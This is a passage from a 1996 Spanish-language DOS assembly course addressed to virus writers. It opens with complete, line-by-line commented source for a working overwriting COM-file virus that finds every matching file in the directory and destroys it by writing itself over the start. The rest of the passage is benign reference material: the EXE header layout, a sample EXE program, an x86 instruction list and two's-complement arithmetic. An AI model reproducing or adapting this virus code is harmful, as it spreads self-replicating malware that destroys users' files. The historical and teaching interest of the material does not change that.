 sobreescritura. El caso es que al utilizar interrupciones, ser pequeito
 y tal, es lo ideal para comentar en ste archivo.

    Aclaro ahora que mis intenciones no son las de distribuir stas cosas
 para que la gente suelte virus por ah, es ms, lo que ahora presento no
 llegara precisamente muy lejos.



virus      segment
           org  100h
           assume cs:virus          ; No es muy necesario: CS va a ser el
                                    ; virus

len        equ offset last-100h     ; Nueva orden que no coment !. Len
                                    ;es una variable que se va a utilizar
                                    ;en el programa, y equ se encarga de
                                    ;asignarla. Hace que len valga la
                                    ;direccin del offset de "last"
                                    ;restndole 100h ( el PSP ). Se trata
                                    ;del tamao del programa

start:     mov ah,04eh          ; En dx est la com_mask, y se va a usar la
           xor cx,cx            ;funcin 4eh de la interrupcin 21h, que
           lea dx,com_mask      ;es encontrar el primer archivo del
           int 21h              ;directorio de la forma que hay en la
                                ;direccin a la que apunta dx, o sea, que
                                ;buscar el primer archivo .c* ( pretende
                                ;encontrar un com )

open_file: mov ax,3d02h         ; La funcin 3d abre el archivo, y AL puesto
           mov dx,9eh           ;a 2 indica que se abrir para lectura y
           int 21h              ;escritura; a uno indicara slo lectura por
                                ;ejemplo. Dx vale 9eh porque es el valor
                                ;de la DTA, donde se contienen los datos
                                ;del archivo encontrado.

Infect:    mov cx,len           ; En cx queda la longitud del virus
           lea dx,start         ; Y dx apunta al principio del virus
           mov ah,40h           ; La funcin 40h de la Int21h consiste en la
           int 21h              ;escritura en el archivo; cx indica la
                                ;cantidad de bytes a escribir, y dx la
                                ;direccin a partir de la cual se copian. Por
                                ;lo tanto, se copiar todo ste cdigo al
                                ;principio del programa abierto,
                                ;sobreescribiendo lo que hubiese
                                ;anteriormente

Next:      mov ah,3eh           ; Cierra el archivo, funcin 3eh de la Int21h
           int 21h
           mov ah,4fh           ; Busca el siguiente archivo
           int 21h
           jnb open_file        ; Si lo encuentra, salta a open_file, para
                                ;abrir e infectar.

com_mask:  db "*.c*",0          ; El 0 del final es necesario siempre que se
                                ;opera con archivos.
last:      db 090h              ; Se trata de un byte para marcar el final
                                ;del virus ( para el equ del principio )

virus ends
      end start


    En resumen, lo que hace es buscar el primer archivo que cumpla ser
 *.c* del directorio, lo infecta y busca otro. Si lo encuentra, tambin
 lo infectar, as hasta que no quede ninguno.
    Una cosa que os puede parecer curiosa es que use jnb para saber si hay
 algn archivo ms en el directorio. Bien, sto lo hace porque cuando el
 resultado de la interrupcin es un error ( como por ejemplo que no haya
 ningn archivo ), el flag de acarreo se pone a uno. Por tanto, salta con
 jnb si no ha habido ningn fallo.


                             ͸
                            վ Estructura EXE Ը
                            ;

    Los ficheros EXE tienen una estructura diferente a los Com. Aparte de
 tener una cabecera especial, pueden ocupar ms de un segmento, diferencin-
 dose segmentos de datos, cdigo y pila.

    La cabecera EXE va como sigue ( no es necesario para hacer uno, pero
 tampoco se le tienen que hacer ascos a la informacin ;D )

   Offset  Descripcin

     00    Marca de EXE (MZ = 4D5A). Es obligatorio que stos dos bytes sean
          MZ o ZM, sino no funcionar

     02   Nmero de bytes en la ltma pgna del programa
          Todas las pginas son de 512 bytes, menos la ltima que ser menos.

     04   Nmero total de paginas de 512 bytes

     06   Nmero de elementos de la tabla de elementos reubicables.

     08   Tamao de la cabecera en prrafos de 16 bytes.

     0A   Mnimo de memoria requerido adems de la necesaria para cargar
          el programa.

     0C   Mximo de memoria requerido. Normalmente los linkadores ponen
          FFFFh aqu para que el DOS de toda la memoria disponible al
          programa.

     0E   SS inicial

     10   SP inicial

     12   Checksum: complemento a 1 de la suma de los valores de 16 bits del
          programa, excluido este campo.

     14   IP inicial

     16   CS inicial

     18   Offset de la Tabla de Reubicacin

     1A   Nmero de Overlays generados. S es 0 es un nico EXE.


    Visto sto, smplemente que os quedis con los offset 14 y 16, que son
 CS:IP del EXE donde empieza la ejecucin. Ahora pongo un listado de
 tpico EXE:

    ; LISTADO DE EJEMPLO DE EXE

    PILA    SEGMENT STACK 'STACK'
            DW 150 DUP (?)          ; Ponemos 150 palabras ( 300 bytes ) de
                                    ;pila
    PILA    ENDS                    ; Esto ha sido el segmento dedicado a
                                    ;la pila

    DATOS   SEGMENT 'DATA'          ; Abre ahora el segmento de datos
    Mensa   DB 'Esto es un ejemplo EXE$'      ;  El $ al final, recordad !
    DATOS   ENDS

    CODIGO  SEGMENT 'CODE'          ; Vamos con el de cdigo
    ASSUME  CS:CODIGO,DS:DATOS,SS:PILA

    Entrada PROC

            mov     ax,DATOS                ; Valor del segmento DATOS
            mov     ds,ax                   ; Ahora queda en DS
            lea     dx,mensa                ; Desplazamiento del mensaje
            mov     ah,9                    ; Servicio 9 de la int 21h
            int     21h                     ; Imprime el mensaje

            mov     ax,4C00h                ; Servicio 4Ch, retorna al DOS
            int     21h

    Entrada ENDP                            ; Cierra el procedimiento Entrada

    CODIGO  ENDS

            END Entrada                     ; Fin del programa


                             ͸
                            վ Apndice A Ը
                            ;

                         Juego de instrucciones
                         



    Instrucciones:

    Mnemnico    Explicacin

    AAA
                 Adjust ASCII after Addition, ajuste ASCII despus de sumar.
                 Esta instruccin se emplea tras sumar dos nmeros BCD no
                empaquetados de dos dgitos con ADD AX,reg/mem. Comprueba si
                el contenido de AL supera a nueve, y realiza si es cierto una
                operacin que consiste en restar 10 de AL. AH se incrementa
                si AL fue superior a 9.

    ADD
                 Suma al operando destino el operando origen, almacenando
                en el operando destino el resultado.

    AAM
                 Ajusta ASCII despus de multiplicar

                 Convierte el nmero binario de 8 bits en AL en un nmero
                BCD no empaquetado de dos dgitos en AX. AL debe ser menor
                que 100 para que el ajuste proporcione un nmero vlido.

     AAS
                 Ajusta ASCII despus de restar

                 Se emplea despus de restar dos nmeros BCD no empaquetados
                con SUB AX,reg/mem. Comrpueba si AL es mayor a 9, y si lo
                es, suma 10 a AL. Si se realiza ajuste, el flag de acarreo
                se activa.


     ADC
                 Add With Carry, suma los dos operandos y el flag de
                acarreo, almacenando en el operando destino el resultado
                de la suma

     ADD
                  ADDition, sta instruccin suma los dos operandos y
                 almacena el resultado en el de destino.

     AND
                  Realiza un AND lgico entre los dos operandos de la
                 instruccin, almacenando el resultado en el de destino.

     CALL
                  Empuja IP y CS a la pila, y salta a la direccin que
                 indica su operando.

     CBW
                  Convert Byte to Word, copia el bit de mayor peso de AH en
                 cada uno de los de AL

     CLC
                  Clear Carry Flag, pone el flag de acarreo a cero.

     CLD
                  Clear Direction Flag, pone a cero el flag de acarreo.

     CLI
                  Clear Interrupts, pone e flag de interrupcin a cero, con
                 lo que no se podrn hacer llamadas a stas hasta llegar a
                 un STI ( Set Interrupts )

     CMC
                  CoMplement Carry flag, invierte el contenido del flag de
                 acarreo.

     CMP
                  Resta el operando origen del destino, tan slo que no
                 almacena el resultado, si actualizndose sin embargo los
                 flags.

     CMPS
                  Comparar cadena, puede usarse sin operandos, en cuyo caso
                 tendr que ser CMPSB o CMPSW ( Byte o Word ), o con ellos.
                  Los elementos a comparar estn apuntados por ES:DI y DS:DI

     CWD

                  Convert Word to Double Word, lo que har ser copiar el
                 signo de AX, o sea, su byte ms significativo, en DX.

     DAA
                  Decimal Adjust AL after Adittion, se emplea tras sumar dos
                 nmeros BCD empaquetados de dos dgitos con ADD AL,reg/mem.
                 Verifica si el flag de acarreo auxiliar est a 1 o el
                 contenido de los cuatro bits menos significativos de AL
                 es mayor que 9, en cuyo caso se suma 6 a AL. Tras sto,
                 comprueba si el flag de acarreo est activado o el contenido
                 de los 4 bits ms significativos es mayor que 9, en cuyo
                 caso se suma 60h a AL. El flag de acarreo se activa si se
                 ha realizado la segunda operacin, y el de acarreo auxiliar
                 si se realiz la primera.

     DEC
                  Utiliza un operando, al que decrementa en una unidad.

     DIV
                  Divide el acumulador entre el operando, dejando cociente
                 y resto. El acumulador ser AX en caso de divisin de 16
                 bits y DX-AX en caso de 32 bits, quedando cociente y resto
                 en AL-AH y AX-DX respectivamente.

     ESC
                  ESCape
                  Sirve para pasar el control del procesador al copro

     HLT
                  Bloquea el ordenador.

     IDIV
                  Divisin para nmeros con signo

     IMUL
                  Multiplicacin para nmeros con signo.

     IN
                  INput from port, lee un byte del puerto que especifica el
                 operando origen y lo almacena en AL. Si el operando destino
                 es AX, almacena un segundo byte en AH ( el operando destino
                 slo puede ser AX o AL, y el origen DX o un nmero )

     INC
                  Incrementa el operando en un byte, sin modificar el estado
                 de los flags.

     INT
                  Llama a la interrupcin del operando ( p.ej, INT 21h )

     INTO
                  INTerruption on Overflow, llama a la interrupcin 4 si el
                 flag de desbordamiento ( overflow ) est activado. En caso
                 de que sepamos con seguridad que no es as, es un NOP en
                 realidad.

    IRET
                  Interruption Return, saca de la pila IP y CS y vuelve al
                 sitio donde se llam a la interrupcin ( cada vez que
                 ejecutamos una interrupcin, el ordenador efectua una serie
                 de pasos que acaban con ste IRET )

    JMP
                  Puede ser corto, cercano o largo, cambiando IP y a veces
                 CS con nuevos valores, o sea, transfiriendo el control a
                 otra parte del programa.

    LAHF
                  Copia en AH el contenido del byte menos significativo del
                 registro de flags

    LDS
                  Load Far Pointer with DS, Cargar puntero lejano con DS. Con
                 sta instruccin, se lee una palabra en la direccin indicada
                 por el origen, copindose en el registro destino, y de nuevo
                 se lee otra, que se almacena en DS

    LEA
                  Load Effective Adress, Cargar direccin efectiva; calcula
                 el offset del operando origen, y lo almacena en el destino
                 ( bastante til con etiquetas, por ejemplo )

    LES
                  Load Far Pointer with ES; Igual que LDS, tan slo que
                 la segunda palabra la almacena en ES.

    LOCK
                  Lock the Bus.
                  Se trata de una instruccin que se usa precediendo a
                 MOV, MOVS o XCHG, y previene del uso del Bus mientras se
                 ejecuta la instruccin para evitar que ste sea usado por
                 algn evento externo, interrupciones, etc

    LODS
                  LOaD String, cargar cadena
                  Si no hay operandos, debe de indicarse con B o W, para
                 saber si se opera con bytes o palabras. Carga en el
                 acumulador el elemento apuntado por DS:SI, sea byte o
                 palabra.


    LOOP
                  Bucle, saltar a la direccin indicada en su operando
                 ( por ejemplo, LOOP etiqueta ) mientras CX valga ms de
                 1, cuando su valor llegue a cero el bucle dejar de
                 ejecutarse.

    MOV
                  Copia el operando origen en el destino, pudindose
                 realizar stas combinaciones:
                  reg,reg
                  reg,mem
                  mem,reg
                  reg,inmed
                  mem,inmed
                  reg16,segrer
                  regseg,reg16
                  regseg,mem

    MOVS
                  MOVe String, mover cadena
                  Normalmente con el operando B ( byte ) o W ( Word ) de
                 manera que se transfiera un byte o una palabra, MOVSB o
                 MOVSW transfieren lo contenido en DS:SI a ES:DI

    MUL
                  MULtiply, multiplicar.
                  Multiplica el acumulador por el operando , si el operando
                 puesto en Mul es de 16 bits, el acumulador es AX, si el
                 operando en Mul es de 8 bits, ser AL.

    NEG
                  Averigua el nmero negativo del operando, o sea, invierte
                 su valor. El clculo se realiza invirtiendo todos los bits
                 y sumando uno al resultado.

    NOP
                  No OPeration, no hace nada

    NOT
                  Invierte los bits del operando ( 1s en 0s y viceversa )

    OR
                  Realiza un 'O' lgico en los bits del operando, cambiando
                 el valor de stos bits. Compara uno a uno los bits de
                 igual significacin de los operandos, y da como resultado
                 1 si uno de ellos o los dos est a uno, o los dos lo estn,
                 y 0 si los dos estn a 0; por ejemplo:

                    11100100
                 OR 00101101
                   ----------
                    11101101

    OUT
                  OUTput to port, Salida a puerto.
                  Escribe el contenido de AX o AL ( los dos nicos operandos
                 origen que se pueden usar con sta instruccin ) en el
                 puerto especificado por el operando destino ( DX o un
                 nmero directo )

    POP
                  Saca del valor operando de la pila

    POPF
                  Saca de la pila el registro de flags

    PUSH
                  Empuja a la pila el valor operando

    PUSHF
                  Empuja el registro de flags a la pila

    RCL
                  Rotate with Carry Left ( Rotar a la izquierda con acarreo )
                  Copia en cada bit del operando el contenido del que se
                 halla a su derecha, y en el de menor el contenido del flag
                 de acarreo; en ste se copia el bit de mayor peso.

    RCR
                  Rotate with Carry Right ( Rotar a la derecha con acarreo )
                  Copia en cada bit del operando el contenido del que se
                 encuentra a su izquierda, y en el bit de mayor peso el
                 contenido del flag de acarreo; en el flag de acarreo el
                 bit de menor peso.

    REP
                  REPeat
                  Utilizada sin operandos, repite una operacin tantas veces
                 como el valor de CX, decrementndolo cada vez ( puede
                 usarse como delay, aunque poco efectivamente ).
                  Se utiliza tambin con operandos como MOVSW por ejemplo,
                 para realizar CX veces la operacin indicada.
                  Existen tambin dos variantes de sta instruccin; REPE
                 y REPNE ( REPeat if Equal, REPeat if Not Equal ), atendiendo
                 al estado de los flags.

    RET
                  RETurn
                  Se utiliza para volver de una subrutina llamada con un
                 Call; sta rden saca de la pila el valor de IP, o de IP
                 y CS, para retornar al lugar desde el que se le llam.

    ROL
                  ROtate Left
                  Copia en cada bit del operando el contenido del que se
                 halla a su derecha, copiando en el bit de menor peso el
                 contenido del de mayor peso

    ROR
                  ROtate Right
                  Copia en cada bit del operando el contenido del que se
                 halla a su izquierda, copiando en el bit de mayor peso el
                 contenido del de menor peso

    SAHF
                  Store AH in Flags, Almacenar AH en los flags
                  Copia el contenido de AH en el byte de menor peso del
                 registro de flags.

    SAL
                  Shift Aritmetic Left
                  Su sintaxis es [SAL destino,numero], mueve los bytes del
                 registro hacia la izquierda, copiando en cada uno el
                 contenido de aquel que estaba a su derecha. El byte de
                 menor peso se pone a cero, y el mayor se copia en el flag
                 de acarreo.

    SAR
                  Shift Aritmetic Right
                  Realiza las mismas operaciones que SAL, pero al revs, o
                 sea, cada bit copia el valor del de su izquierda, el de
                 mayor peso queda a cero, y el de menor se copia al flag
                 de acarreo

    SBB
                  SuBstract with Borrow
                  Resta el operando origen y el flag de acarreo del
                 operando destino, almacenndose el resultado en el operando
                 destino

    SCAS
                  SCAn String, Examinar cadena
                  Se acompaa de una B o W detrs cuando no existe operando
                 para indicar el tamao ( Byte o Word )
                  Resta el operando destino, que est indicado por ES:DI
                 del acumulador ( sin realizar almacenamiento del resultado ),
                 y en funcin de ello actualiza los flags.
                  El operando puede llevar prefijo de segmento, que
                 sustituir a ES como prefijo del operando destino. DI ir
                 incrementndose/decrementndose.

    SHL
                  SHift Left
                  Igual que SAL

    SHR
                  SHift Right
                  Exctamente igual que SAR

    STC
                  SeT Carry flag, Activar flag de acarreo
                  Activa el flag de acarreo ( lo pone a uno )

    STD
                  SeT Direction flag, Activar flag de direccin.
                  Lo pone a uno.

    STI
                  SeT Interrupts, Activar interrupciones.
                  Activa las interrupciones.

    STOS
                  STOre String
                  Normalmente se usa con B o W al final para indicar el
                 tamao, byte o palabra ( esencialmente si no se especifica
                 ningn operando ). Su funcin es copiar el contenido del
                 acumulador ( AL o AX ) en ES:DI. El operando puede llevar un
                 prefijo de segmento, que se usar en lugar de ES

    SUB
                  SUBstract, resta
                  El objetivo de sta instruccin consiste en restar al
                 operando destino el contenido del origen, conservndose
                 el resultado en ste operando destino.

    TEST
                  TEST, Comparar
                  Compara mediante un AND lgico los operandos origen y
                 destino; no almacena los resultados, pero s modifica los
                 flags.

    WAIT
                  El computador entra en un estado de espera, que se ver
                 activado cuando el 'test' input en el microprocesador sea
                 activado.

    XCHG
                  eXCHanGe ( intercambiar )
                  Intercambia los valores de los registros, por ejemplo en
                 un XCHG AX,BX, tras la operacin BX contendra al antiguo
                 AX, y vicecersa.


    XLAT
                  Una de stas instrucciones un tanto curiosas; almacena en
                 AL un byte de la direccin de memoria formada por DS y la
                 suma de BX y AL. Se puede indicar un operando para
                 especificar el segmento en vez de DS

    XOR
                  eXclusive OR
                  Realiza un OR ( O ) excluyente entre el origen y el
                 destino; compara uno a uno los bits de los dos operandos,
                 resultando un 1 tan slo si uno y slo uno de los dos bits
                 comparados es 1, y cero en el resto de los casos.
                  Sera tal que as:

                  11010101
             XOR  01011011
                 ----------
                  10001110

                  registro, registro


                               ķ
                              ֽ APENDICE B ӷ
                              Ľ

                             NUMERACION NEGATIVA

    Bien, sta es una parte del curso que quiz debiera haber ido antes,
 pero por su complicacin para la gente en fase de aprendizaje, he preferido
 incluirlo como apndice.

     Como se representan mediante lenguaje ensamblador los nmeros
 negativos ?

    El sistema utilizado es el denominado 'aritmtica de complemento a dos'.
 Se pas bastante tiempo pensando en cul sera el mtodo ideal para
 realizar ste cometido, siendo condicin principal que las sumas y restas
 diesen resultados lgicos; o sea, que -x+x sumasen 0, por ejemplo.

    Para ello entonces, hagamos una prueba. Si al nmero binario 00000000
 le restamos 00000001, el resultado ser 11111111, ya que en un byte al
 pasar del nmero ms bajo a uno "negativo", sale el nmero ms alto.

    Por tanto, 11111111 representar al '-1', as como 11111110 al -2, y
 as hasta llegar al 10000000, que ser el -128. El nmero exctamente
 anterior, el 01111111, ser el 127 entonces, y sto nos permitir comprobar
 cuando un nmero es negativo tan slo viendo si su primer bit est o no,
 a uno.

    As visto, stas seran algunas representaciones:

    00000001                ---->            1
    00000011                ---->            3
    01111111                ---->            127
    11111111                ---->            -1
    11111110                ---->            -2
    10000000                ---->            -128

    Y visto sto,  cul es la manera ms rpida de saber el valor de un
 nmero negativo ? Es bien fcil; dad la vuelta a todos los bits del byte
 ( o de la palabra, o de lo que sea ), y sumadle uno, ese ser el nmero
 representado sin signo.

    P.ej, el nmero 10111011, que sabemos que es negativo ( si estamos
 trabajando con nmeros negativos ) por el 1 en el bit de mayor peso:

    Se le da la vuelta: 01000100, o sea, 68 decimal, y se le suma 1. Por
 tanto, el nmero 10111011 cuando trabajemos con nmeros con signo es el -69


                          -----------------------

                     ͸
                    վ Agradecimientos y dedicatorias Ը
                    ;

                    Edison's Temple bbs: RULEZZZZZZZ !!!!

               Patuel: Gracias por toda la ayuda, sinceramente

                 Bitspawn: Que no, que no me olvido de t ;)

                      Mr.White: A currar a currar ! X-)

                            SHE: Hack the planet !

           Exobit: Sois los mejores, que no os digan lo contrario !

                  Darknode: Adelante con la 29A, mostruos !!!

                        VLAD: Que le diras a un dios ?

       Dark Conspiracy: Venga, que estoy esperando el Plasmamag 2 ! ;)

           A todos los escritores de virus del mundo: Vamos all !

        Rod Fewster & Ian Moote & Luther Kolb: You're fuckin' lamerz !

    -----

    Pablo Barrn Ballesteros ( Wintermute )
    E-mail: wintermute@temple.subred.org
    Netmail: 2:341/136.23 ( Fidonet )

    Agosto, 1996

    Source: geocities.com/ar/zorro_pampa

               ( geocities.com/ar)